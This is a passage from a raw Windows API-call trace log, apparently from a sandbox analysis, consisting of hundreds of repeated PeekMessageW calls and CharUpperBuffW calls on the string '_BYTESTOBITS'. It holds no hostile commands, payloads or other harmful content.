wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.522] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.523] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.524] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.524] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.525] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.526] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.527] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.528] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.529] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.530] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.531] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.532] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.533] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.534] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.535] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.536] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.537] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.538] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.539] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.540] CharUpperBuffW (in: 